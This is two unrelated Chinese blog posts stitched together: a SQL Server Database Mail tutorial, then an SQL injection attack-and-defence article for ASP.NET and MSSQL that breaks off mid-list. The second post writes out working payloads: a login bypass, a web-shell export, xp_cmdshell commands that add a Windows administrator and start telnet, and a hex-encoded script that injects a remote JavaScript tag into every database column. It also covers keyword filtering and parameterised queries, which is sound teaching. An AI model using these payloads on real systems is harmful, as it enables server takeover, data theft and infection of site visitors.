一切要從高考結(jié)束那一刻開始,分?jǐn)?shù)不高,離一本線差幾分,只能選擇本省的一所普通二本,更要命的是不知道怎么選擇專業(yè),只是憑著自己的感覺,覺得自己會(huì)喜歡電腦,就把這個(gè)學(xué)校跟電腦能搭上點(diǎn)關(guān)系的專業(yè)都選上了,軟件工程、電子信息工程、信息與計(jì)算科學(xué),最后因?yàn)榉謹(jǐn)?shù)只夠信息與計(jì)算科學(xué),就這樣進(jìn)入了信計(jì)專業(yè)一班。
在進(jìn)入了大學(xué)校園之后,班級(jí)之間彌漫著一股奇怪的氣氛,大家都在說咱們這個(gè)專業(yè)以后找不到工作,只能去教小學(xué)數(shù)學(xué),搞得人人都很恐慌。這個(gè)時(shí)候出現(xiàn)了一個(gè)學(xué)校的工作室,聽說很牛,給學(xué)校做系統(tǒng)的,大家仿佛抓住了救命稻草,一時(shí)間都去報(bào)名要進(jìn)工作室,而我顯然就是其中一員。我認(rèn)為我不適合教書,所以一定要找跟本專業(yè)相關(guān)的工作,而工作室就是教這個(gè)的,所以毫不猶豫地加入了其中。
就這樣,在工作室跟著老師和學(xué)長(zhǎng)學(xué)姐,沒有寒暑假的學(xué)習(xí)C#,SQL Server,html,開發(fā)系統(tǒng),對(duì)編程有了最初的認(rèn)知,也第一次知道了咱們的考試分?jǐn)?shù)是存儲(chǔ)在數(shù)據(jù)庫(kù)里面的。
四年的時(shí)間很快,轉(zhuǎn)眼就到畢業(yè)季,校招火熱的進(jìn)行中,而我們專業(yè)的同學(xué)心里卻拔涼拔涼的,看著別的專業(yè)同學(xué)一個(gè)接一個(gè)的拿到offer,自己卻在面試中受挫。讓我印象最深的是面試官直說你們被工作室騙了,現(xiàn)在基本沒什么人用C#了,真不是滋味,自己辛辛苦苦放棄每年的寒暑假,換來(lái)的卻是這樣一個(gè)結(jié)果。好在最后看到有公司招BI工程師,之前聽說有學(xué)長(zhǎng)也在做這個(gè),說有搞頭,就去面試了,靠著數(shù)據(jù)庫(kù)的知識(shí),竟然通過了,從此,我與數(shù)據(jù)就勾搭上了。
項(xiàng)目里有一個(gè)需求,需要凌晨將前一天的訂單數(shù)據(jù)匯總后形成報(bào)表,以郵件的形式發(fā)送到各個(gè)管理者的郵箱中,方便上層精靈們[做鬼臉]早上晨會(huì)的數(shù)據(jù)需求。
那么問題來(lái)了,我既不能晚上不睡覺匯總數(shù)據(jù)發(fā)郵件,又懶得寫服務(wù)、研究云郵箱的配置,那么腫么辦呢?
回憶曾經(jīng)沒事翻書,恍惚記得數(shù)據(jù)庫(kù)有發(fā)送郵件的功能。于是乎腦海中浮現(xiàn)出了一個(gè)“邪惡的”念頭,這些數(shù)據(jù)既然來(lái)自數(shù)據(jù)庫(kù),那么你就將好人做到底!幫灑家把這項(xiàng)工作一起完成了,豈不美哉[奸笑]!
瞬間感覺到我的快樂來(lái)了,“什么是快樂星球”?干活能偷懶,總會(huì)讓人感覺到很愉悅[吐舌]。
使用數(shù)據(jù)庫(kù)發(fā)送郵件需要三個(gè)步驟,配置數(shù)據(jù)庫(kù)的郵件服務(wù)、編寫存儲(chǔ)過程、設(shè)置SQL作業(yè),接下來(lái)開始逐步分享:
在SqlServer左側(cè)菜單欄中,找到管理頁(yè)簽中數(shù)據(jù)庫(kù)郵件選項(xiàng):
接下來(lái)開始配置數(shù)據(jù)庫(kù)郵件:
這里我們選擇創(chuàng)建一個(gè)全新的配置,并啟動(dòng)該功能,隨后下一步即可:
給配置文件起一個(gè)霸氣的名字,說明隨意填寫即可,這個(gè)配置名字需要記得,后面我們還需要使用到它,點(diǎn)擊添加功能,開始進(jìn)行郵箱詳細(xì)信息的配置:
這里填寫好你們公司購(gòu)買的郵件服務(wù)賬號(hào)信息即可,如果沒有的話,也可以使用QQ郵箱自帶的SMTP功能,啟動(dòng)SMTP服務(wù)即可,功能上肯定會(huì)有一些限制:
填寫好配置信息之后,列表中會(huì)出現(xiàn)剛才配置的SMTP賬戶信息:
剩下的步驟就是繼續(xù)、繼續(xù)、向著勝利出發(fā):
成功之后也不要驕傲哦,需要測(cè)試一下,看郵箱配置是否可以正常地發(fā)送郵件,這一點(diǎn)非常的重要,否則后面的操作都會(huì)受到影響:
上述步驟測(cè)試通過后,我們開始進(jìn)行存儲(chǔ)過程的編寫了,為SQL作業(yè)的自動(dòng)執(zhí)行打下腳本的基礎(chǔ)。
存儲(chǔ)過程的編寫思路就是:將郵件需要發(fā)送的內(nèi)容進(jìn)行獲取,然后通過SQL調(diào)用發(fā)送郵件的存儲(chǔ)過程,將其需要的參數(shù)一一提供即可。
這里使用的存儲(chǔ)過程是:sp_send_dbmail,需要的主要參數(shù)解釋下:
CREATE PROC [dbo].[AutoOrdersEmailNotice]
AS
BEGIN
DECLARE @EmailAddress NVARCHAR(100) = 'xxxxx@qq.com';
DECLARE @CONTENT NVARCHAR(500) = N'<h1>2021-6-5:訂單匯總報(bào)表</h1><hr /><table border="1" width="500">
<tr align="center" style="font-weight:800;background-color:blue"><td>序號(hào)</td><td>產(chǎn)品名</td><td>訂單數(shù)</td><td>單價(jià)</td><td>總價(jià)</td></tr>
<tr align="center"><td>1</td><td>車?yán)遄?lt;/td><td>200</td><td>100</td><td>20000</td></tr>
<tr align="center"><td>2</td><td>冰糖心</td><td>100</td><td>50</td><td>5000</td></tr>
<tr align="center"><td>3</td><td>芝麻蕉</td><td>500</td><td>40</td><td>20000</td></tr>
</table>';
Exec msdb.dbo.sp_send_dbmail @profile_name='TestSqlMail',
@recipients=@EmailAddress,
@subject=N'2021-6-5日,訂單匯總報(bào)表',
@body=@CONTENT,
@body_format = 'HTML'
END
編寫后同樣需要測(cè)試,如果可以執(zhí)行該存儲(chǔ),可以實(shí)現(xiàn)郵件的正常發(fā)送功能,那么我們此時(shí)離勝利只有一步之遙了。
SQL作業(yè)的用途就是可以自動(dòng)、定時(shí)地執(zhí)行SQL腳本,例如:每天更新用戶年齡、更新一些訂單的狀態(tài)等等。
使用SQL作業(yè),首先需要開啟SqlServer代理服務(wù):
接下來(lái)我們新建作業(yè),用于執(zhí)行剛才編寫的存儲(chǔ)過程:
填寫作業(yè)需要的相關(guān)信息:
解析來(lái)選擇新建步驟,不要點(diǎn)擊確定按鈕,這里填寫SQL作業(yè)需要執(zhí)行哪個(gè)數(shù)據(jù)庫(kù)下面的,哪段SQL腳本:
設(shè)置SQL作業(yè)的執(zhí)行計(jì)劃,這里根據(jù)實(shí)際需求設(shè)置即可,我這里需要每天定時(shí)發(fā)送:
設(shè)置成功之后,同樣需要測(cè)試一下:
數(shù)據(jù)庫(kù)自動(dòng)發(fā)送郵件成功了,流下了激動(dòng)的淚水,偷懶果然會(huì)讓人快樂,晚上可以加雞腿了[泣不成聲]。當(dāng)然我們每天需要關(guān)注一下,郵件發(fā)送的日志,掌握功能的運(yùn)行情況:
這就是使用SqlServer完成的郵件自動(dòng)發(fā)送功能,不同的數(shù)據(jù)庫(kù)配置肯定會(huì)有所不同,但思路都是大相徑庭的。
喜歡的小伙伴可以關(guān)注我,一起交流學(xué)習(xí)!我是IT鳥叔,一位喜歡寫程序、釣魚、喝茶、玩游戲的中年大叔!
業(yè)開始從事winfrm到今年轉(zhuǎn)到 web ,在碼農(nóng)屆已經(jīng)足足混了快接近3年了,但是對(duì)安全方面的知識(shí)依舊薄弱,事實(shí)上是沒機(jī)會(huì)接觸相關(guān)開發(fā)……必須的各種借口。這幾天把sql注入的相關(guān)知識(shí)整理了下,希望大家多多提意見。
(對(duì)于sql注入的攻防,我只用過簡(jiǎn)單拼接字符串的注入及參數(shù)化查詢,可以說沒什么好經(jīng)驗(yàn),為避免后知后覺的犯下大錯(cuò),專門查看大量前輩們的心得,這方面的資料頗多,將其精簡(jiǎn)出自己覺得重要的,就成了該文)
下面的程序方案是采用 ASP.NET + MSSQL,其他技術(shù)在設(shè)置上會(huì)有少許不同。
什么是SQL注入(SQL Injection)
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁(yè)面請(qǐng)求的查詢字符串,欺騙服務(wù)器執(zhí)行惡意的SQL命令。在某些表單中,用戶輸入的內(nèi)容直接用來(lái)構(gòu)造(或者影響)動(dòng)態(tài)SQL命令,或作為存儲(chǔ)過程的輸入?yún)?shù),這類表單特別容易受到SQL注入式攻擊。
嘗嘗SQL注入
1. 一個(gè)簡(jiǎn)單的登錄頁(yè)面
關(guān)鍵代碼:
privateboolNoProtectLogin(string userName, string password){int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));return count > 0 ? true : false;}
方法中userName和 password 是沒有經(jīng)過任何處理,直接拿前端傳入的數(shù)據(jù),這樣拼接的SQL會(huì)存在注入漏洞。(帳戶:admin 123456)
1) 輸入正常數(shù)據(jù),效果如圖:
合并的SQL為:
SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456′
2) 輸入注入數(shù)據(jù):
如圖,即用戶名為:用戶名:admin’—,密碼可隨便輸入
合并的SQL為:
SELECT COUNT(*) FROM Login WHERE UserName=’admin’– Password=’123′
因?yàn)閁serName值中輸入了“–”注釋符,后面語(yǔ)句被省略而登錄成功。(常常的手法:前面加上‘; ‘ (分號(hào),用于結(jié)束前一條語(yǔ)句),后邊加上‘–‘ (用于注釋后邊的語(yǔ)句))
1) 猜測(cè)數(shù)據(jù)庫(kù)名,備份數(shù)據(jù)庫(kù)
a) 猜測(cè)數(shù)據(jù)庫(kù)名: and db_name() >0 或系統(tǒng)表master.dbo.sysdatabases
b) 備份數(shù)據(jù)庫(kù):;backup database 數(shù)據(jù)庫(kù)名 to disk = ‘c:*.db’;–
或:declare a sysname;set @a=db_name();backup database a to disk=’你的IP你的共享目錄bak.dat’ ,name=’test’;–
2) 猜解字段名稱
a) 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,則返回正常
b) 讀取法:and (select top 1 col_name(object_id(‘表名‘),1) from sysobjects)>0 把col_name(object_id(‘表名‘),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。
3) 遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)構(gòu)并發(fā)現(xiàn)WEB虛擬目錄(服務(wù)器上傳木馬)
先創(chuàng)建一個(gè)臨時(shí)表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
a) 利用xp_availablemedia來(lái)獲得當(dāng)前所有驅(qū)動(dòng)器,并存入temp表中
;insert temp exec master.dbo.xp_availablemedia;–
b) 利用xp_subdirs獲得子目錄列表,并存入temp表中
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;–
c) 利用xp_dirtree可以獲得“所有”子目錄的目錄樹結(jié)構(gòu),并存入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– (實(shí)驗(yàn)成功)
d) 利用 bcp 命令將表內(nèi)容導(dǎo)成文件
即插入木馬文本,然后導(dǎo)出存為文件。比如導(dǎo)出為asp文件,然后通過瀏覽器訪問該文件并執(zhí)行惡意腳本。(使用該命令必須啟動(dòng)’ xp_cmdshell’)
Exec master..xp_cmdshell N’BCP “select * from SchoolMarket.dbo.GoodsStoreData;” queryout c:/inetpub/wwwroot/runcommand.asp -w -S”localhost” -U”sa” -P”123″‘
(注意:語(yǔ)句中使用的是雙引號(hào),另外表名格式為“數(shù)據(jù)庫(kù)名.用戶名.表名”)
在sql查詢器中通過語(yǔ)句:Exec master..xp_cmdshell N’BCP’即可查看BCP相關(guān)參數(shù),如圖:
4) 查詢當(dāng)前用戶的數(shù)據(jù)庫(kù)權(quán)限
MSSQL中一共存在8種權(quán)限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
可通過1=(select IS_SRVROLEMEMBER(‘sysadmin’))得到當(dāng)前用戶是否具有該權(quán)限。
5) 設(shè)置新的數(shù)據(jù)庫(kù)帳戶(得到MSSQL管理員賬戶)
d) 在數(shù)據(jù)庫(kù)內(nèi)添加一個(gè)hax用戶,默認(rèn)密碼是空
;exec sp_addlogin’hax’;–
e) 給hax設(shè)置密碼 (null是舊密碼,password是新密碼,user是用戶名)
;exec master.dbo.sp_password null,password,username;–
f) 將hax添加到sysadmin組
;exec master.dbo.sp_addsrvrolemember ‘hax’ ,’sysadmin’;–
6) xp_cmdshell MSSQL存儲(chǔ)過程(得到 WINDOWS管理員賬戶 )
通過(5)獲取到sysadmin權(quán)限的帳戶后,使用查詢分析器連接到數(shù)據(jù)庫(kù),可通過xp_cmdshell運(yùn)行系統(tǒng)命令行(必須是sysadmin權(quán)限),即使用 cmd.exe 工具,可以做什么自己多了解下。
下面我們使用xp_cmdshell來(lái)創(chuàng)建一個(gè) Windows 用戶,并開啟遠(yuǎn)程登錄服務(wù):
a) 判斷xp_cmdshell擴(kuò)展存儲(chǔ)過程是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ‘X’ AND name =’xp_cmdshell’
b) 恢復(fù)xp_cmdshell擴(kuò)展存儲(chǔ)過程
Exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’e:inetputwebxplog70.dll’;
開啟后使用xp_cmdshell還會(huì)報(bào)下面錯(cuò)誤:
SQL Server 阻止了對(duì)組件 ‘xp_cmdshell’ 的過程 ‘sys.xp_cmdshell’ 的訪問,因?yàn)榇私M件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用sp_configure啟用 ‘xp_cmdshell’。有關(guān)啟用 ‘xp_cmdshell’ 的詳細(xì)信息,請(qǐng)參閱 SQL Server 聯(lián)機(jī)叢書中的 “外圍應(yīng)用配置器“。
通過執(zhí)行下面語(yǔ)句進(jìn)行設(shè)置:
— 允許配置高級(jí)選項(xiàng)EXEC sp_configure ‘show advanced options’, 1GO— 重新配置RECONFIGUREGO— 啟用xp_cmdshellEXEC sp_configure ‘xp_cmdshell’, 0GO—重新配置RECONFIGUREGO
c) 禁用xp_cmdshell擴(kuò)展存儲(chǔ)過程
Exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’;
d) 添加windows用戶:
Exec xp_cmdshell ‘net user awen /add’;
e) 設(shè)置好密碼:
Exec xp_cmdshell ‘net user awen password’;
f) 提升到管理員:
Exec xp_cmdshell ‘net localgroup administrators awen /add’;
g) 開啟telnet服務(wù):
Exec xp_cmdshell ‘net start tlntsvr’
7) 沒有xp_cmdshell擴(kuò)展程序,也可創(chuàng)建Windows帳戶的辦法.
(本人windows7系統(tǒng),測(cè)試下面SQL語(yǔ)句木有效果)
declare shell int ;execsp_OAcreate ‘w script .shell’,shell output ;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen /add’;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen 123′;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net localgroup administrators awen /add’;
在使用的時(shí)候會(huì)報(bào)如下錯(cuò):
SQL Server 阻止了對(duì)組件 ‘Ole Automation Procedures’ 的過程 ‘sys.sp_OACreate’、‘sys.sp_OAMethod’ 的訪問,因?yàn)榇私M件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用sp_configure啟用 ‘Ole Automation Procedures’。有關(guān)啟用 ‘Ole Automation Procedures’ 的詳細(xì)信息,請(qǐng)參閱 SQL Server 聯(lián)機(jī)叢書中的 “外圍應(yīng)用配置器“。
解決辦法:
sp_configure ‘show advanced options’, 1;GORECONFIGURE;GOsp_configure ‘Ole Automation Procedures’, 1;GORECONFIGURE;GO
好了,這樣別人可以登錄你的服務(wù)器了,你怎么看?
8) 客戶端腳本攻擊
攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到數(shù)據(jù)庫(kù)中,當(dāng)其他用戶瀏覽此內(nèi)容時(shí)就會(huì)受到惡意腳本的攻擊。
措施:轉(zhuǎn)義提交的內(nèi)容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉(zhuǎn)換為HTML編碼的字符串。
攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到數(shù)據(jù)庫(kù)中,直接使用SQL語(yǔ)法UPDATE數(shù)據(jù)庫(kù),為了跳過System.Net.WebUtility.HtmlEncode(string) 轉(zhuǎn)義,攻擊者會(huì)將注入SQL經(jīng)過“HEX編碼”,然后通過exec可以執(zhí)行“動(dòng)態(tài)”SQL的特性運(yùn)行腳本”。
a) 向當(dāng)前數(shù)據(jù)庫(kù)的每個(gè)表的每個(gè)字段插入一段惡意腳本
Declare T Varchar(255),C Varchar(255)Declare Table_Cursor Cursor ForSelect A.Name,B.NameFrom SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)Open Table_CursorFetch Next From Table_Cursor Into @T,@CWhile(@@Fetch_Status=0)BeginExec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor
b) 更高級(jí)的攻擊,將上面的注入SQL進(jìn)行“HEX編碼”,從而避免程序的關(guān)鍵字檢查、腳本轉(zhuǎn)義等,通過EXEC執(zhí)行
dEcLaRe s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;eXeC(@s);--
c) 批次刪除數(shù)據(jù)庫(kù)被注入的腳本
declare @delStrnvarchar(500)set @delStr='' --要被替換掉字符 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype='U' open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%''' execsp_executesql sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print '數(shù)據(jù)庫(kù)共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!' close cur deallocate cur setnocount off
d) 我如何得到“HEX編碼”?
開始不知道HEX是什么東西,后面查了是“十六進(jìn)制”,網(wǎng)上已經(jīng)給出兩種轉(zhuǎn)換方式:(注意轉(zhuǎn)換的時(shí)候不要加入十六進(jìn)制的標(biāo)示符 ’0x’ )
? 在線轉(zhuǎn)換 (TRANSLATOR, BINARY),進(jìn)入……
? C#版的轉(zhuǎn)換,進(jìn)入……
9) 對(duì)于敏感詞過濾不到位的檢查,我們可以結(jié)合函數(shù)構(gòu)造SQL注入
比如過濾了update,卻沒有過濾declare、exec等關(guān)鍵詞,我們可以使用reverse來(lái)將倒序的sql進(jìn)行注入:
declare A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');
防止SQL注入
1. 數(shù)據(jù)庫(kù)權(quán)限控制,只給訪問數(shù)據(jù)庫(kù)的web應(yīng)用功能所需的最低權(quán)限帳戶。
如MSSQL中一共存在8種權(quán)限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
2. 自定義錯(cuò)誤信息,首先我們要屏蔽服務(wù)器的詳細(xì)錯(cuò)誤信息傳到客戶端。
在 ASP.NET 中,可通過web.config配置文件的節(jié)點(diǎn)設(shè)置:
<customerrors defaultredirect="url" mode="On|Off|RemoteOnly"> <error. .=""/></customerrors>
mode:指定是啟用或禁用自定義錯(cuò)誤,還是僅向遠(yuǎn)程客戶端顯示自定義錯(cuò)誤。
On指定啟用自定義錯(cuò)誤。如果未指定defaultRedirect,用戶將看到一般性錯(cuò)誤。Off指定禁用自定義錯(cuò)誤。這允許顯示標(biāo)準(zhǔn)的詳細(xì)錯(cuò)誤。RemoteOnly指定僅向遠(yuǎn)程客戶端顯示自定義錯(cuò)誤并且向本地主機(jī)顯示 ASP.NET 錯(cuò)誤。這是默認(rèn)值。
看下效果圖:
設(shè)置為一般性錯(cuò)誤:
設(shè)置為:
xp_:擴(kuò)展存儲(chǔ)過程的前綴,SQL注入攻擊得手之后,攻擊者往往會(huì)通過執(zhí)行xp_cmdshell之類的擴(kuò)展存儲(chǔ)過程,獲取系統(tǒng)信息,甚至控制、破壞系統(tǒng)。
xp_cmdshell能執(zhí)行dos命令,通過語(yǔ)句sp_dropextendedproc刪除,
不過依然可以通過sp_addextendedproc來(lái)恢復(fù),因此最好刪除或改名xplog70.dll(sql server 2000、windows7)
xpsql70.dll(sqlserer 7.0)
xp_fileexist用來(lái)確定一個(gè)文件是否存在xp_getfiledetails可以獲得文件詳細(xì)資料xp_dirtree可以展開你需要了解的目錄,獲得所有目錄深度Xp_getnetname可以獲得服務(wù)器名稱Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
可以訪問注冊(cè)表的存儲(chǔ)過程Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetProperty
Sp_OAStop
如果你不需要請(qǐng)丟棄OLE自動(dòng)存儲(chǔ)過程
1) 非參數(shù)化(動(dòng)態(tài)拼接SQL)
a) 檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的HTML特殊轉(zhuǎn)義字符轉(zhuǎn)換掉。
b) 類型檢查:對(duì)接收數(shù)據(jù)有明確要求的,在方法內(nèi)進(jìn)行類型驗(yàn)證。如數(shù)值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數(shù)字等。
c) 長(zhǎng)度驗(yàn)證:要進(jìn)行必要的注入,其語(yǔ)句也是有長(zhǎng)度的。所以如果你原本只允許輸入10字符,那么嚴(yán)格控制10個(gè)字符長(zhǎng)度,一些注入語(yǔ)句就沒辦法進(jìn)行。
d) 使用枚舉:如果只有有限的幾個(gè)值,就用枚舉。
e) 關(guān)鍵字過濾:這個(gè)門檻比較高,因?yàn)楦鱾€(gè)數(shù)據(jù)庫(kù)存在關(guān)鍵字,內(nèi)置函數(shù)的差異,所以對(duì)編寫此函數(shù)的功底要求較高。如公司或個(gè)人有積累一個(gè)比較好的通用過濾函數(shù)還請(qǐng)留言分享下,學(xué)習(xí)學(xué)習(xí),謝謝!
這邊提供一個(gè)關(guān)鍵字過濾參考方案(MSSQL):
public static bool ValiParms(string parms){ if (parms == null) { return false; } Regex regex = new Regex("sp_", RegexOptions.IgnoreCase); Regex regex2 = new Regex("'", RegexOptions.IgnoreCase); Regex regex3 = new Regex("create ", RegexOptions.IgnoreCase); Regex regex4 = new Regex("drop ", RegexOptions.IgnoreCase); Regex regex5 = new Regex(""", RegexOptions.IgnoreCase); Regex regex6 = new Regex("exec ", RegexOptions.IgnoreCase); Regex regex7 = new Regex("xp_", RegexOptions.IgnoreCase); Regex regex8 = new Regex("insert ", RegexOptions.IgnoreCase); Regex regex9 = new Regex("delete ", RegexOptions.IgnoreCase); Regex regex10 = new Regex("select ", RegexOptions.IgnoreCase); Regex regex11 = new Regex("update ", RegexOptions.IgnoreCase); return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));}
優(yōu)點(diǎn):寫法相對(duì)簡(jiǎn)單,網(wǎng)絡(luò)傳輸量相對(duì)參數(shù)化拼接SQL小
缺點(diǎn):
a) 對(duì)于關(guān)鍵字過濾,常常“顧此失彼”,如漏掉關(guān)鍵字,系統(tǒng)函數(shù),對(duì)于HEX編碼的SQL語(yǔ)句沒辦法識(shí)別等等,并且需要針對(duì)各個(gè)數(shù)據(jù)庫(kù)封裝函數(shù)。
b) 無(wú)法滿足需求:用戶本來(lái)就想發(fā)表包含這些過濾字符的數(shù)據(jù)。
c) 執(zhí)行拼接的SQL浪費(fèi)大量緩存空間來(lái)存儲(chǔ)只用一次的查詢計(jì)劃。服務(wù)器的物理內(nèi)存有限,SQLServer的緩存空間也有限。有限的空間應(yīng)該被充分利用。
2) 參數(shù)化查詢(Parameterized Query)
a) 檢查客戶端腳本,類型檢查,長(zhǎng)度驗(yàn)證,使用枚舉,明確的關(guān)鍵字過濾這些操作也是需要的。他們能盡早檢查出數(shù)據(jù)的有效性。
b) 參數(shù)化查詢?cè)恚涸谑褂脜?shù)化查詢的情況下,數(shù)據(jù)庫(kù)服務(wù)器不會(huì)將參數(shù)的內(nèi)容視為SQL指令的一部份來(lái)處理,而是在數(shù)據(jù)庫(kù)完成 SQL 指令的編譯后,才套用參數(shù)運(yùn)行,因此就算參數(shù)中含有具有損的指令,也不會(huì)被數(shù)據(jù)庫(kù)所運(yùn)行。
c) 所以在實(shí)際開發(fā)中,入口處的安全檢查是必要的,參數(shù)化查詢應(yīng)作為最后一道安全防線。
優(yōu)點(diǎn):
? 防止SQL注入(使單引號(hào)、分號(hào)、注釋符、xp_擴(kuò)展函數(shù)、拼接SQL語(yǔ)句、EXEC、SELECT、UPDATE、DELETE等SQL指令無(wú)效化)
? 參數(shù)化查詢能強(qiáng)制執(zhí)行類型和長(zhǎng)度檢查。
? 在MSSQL中生成并重用查詢計(jì)劃,從而提高查詢效率(執(zhí)行一條SQL語(yǔ)句,其生成查詢計(jì)劃將消耗大于50%的時(shí)間)
缺點(diǎn):
? 不是所有數(shù)據(jù)庫(kù)都支持參數(shù)化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用數(shù)據(jù)庫(kù)支持參數(shù)化查詢。
疑問:參數(shù)化如何“批量更新”數(shù)據(jù)庫(kù)。
a) 通過在參數(shù)名上增加一個(gè)計(jì)數(shù)來(lái)區(qū)分開多個(gè)參數(shù)化語(yǔ)句拼接中的同名參數(shù)。
EG:
StringBuilder sqlBuilder=new StringBuilder(512);Int count=0;For(循環(huán)){sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}……Count++;}
b) 通過MSSQL 2008的新特性:表值參數(shù),將C#中的整個(gè)表當(dāng)參數(shù)傳遞給存儲(chǔ)過程,由SQL做邏輯處理。注意C#中參數(shù)設(shè)置parameter.SqlDbType = System.Data.SqlDbType.Structured; 詳細(xì)請(qǐng)查看……
疑慮:有部份的開發(fā)人員可能會(huì)認(rèn)為使用參數(shù)化查詢,會(huì)讓程序更不好維護(hù),或者在實(shí)現(xiàn)部份功能上會(huì)非常不便,然而,使用參數(shù)化查詢?cè)斐傻念~外開發(fā)成本,通常都遠(yuǎn)低于因?yàn)镾QL注入攻擊漏洞被發(fā)現(xiàn)而遭受攻擊,所造成的重大損失。
另外:想驗(yàn)證重用查詢計(jì)劃的同學(xué),可以使用下面兩段輔助語(yǔ)法
--清空緩存的查詢計(jì)劃DBCC FREEPROCCACHEGO--查詢緩存的查詢計(jì)劃SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text] FROM sys.dm_exec_cached_plans pOUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sqlJOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handleGO
3) 參數(shù)化查詢示例
效果如圖:
參數(shù)化關(guān)鍵代碼:
Private bool ProtectLogin(string userName, string password){ SqlParameter[] parameters = new SqlParameter[] { new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName}, new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password} }; int count = (int)SqlHelper.Instance.ExecuteScalar ("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters); return count > 0 ? true : false;}
5. 存儲(chǔ)過程
存儲(chǔ)過程(Stored Procedure)是在大型數(shù)據(jù)庫(kù)系統(tǒng)中,一組為了完成特定功能的SQL 語(yǔ)句集,經(jīng)編譯后存儲(chǔ)在數(shù)據(jù)庫(kù)中,用戶通過指定存儲(chǔ)過程的名字并給出參數(shù)(如果該存儲(chǔ)過程帶有參數(shù))來(lái)執(zhí)行它。
優(yōu)點(diǎn):
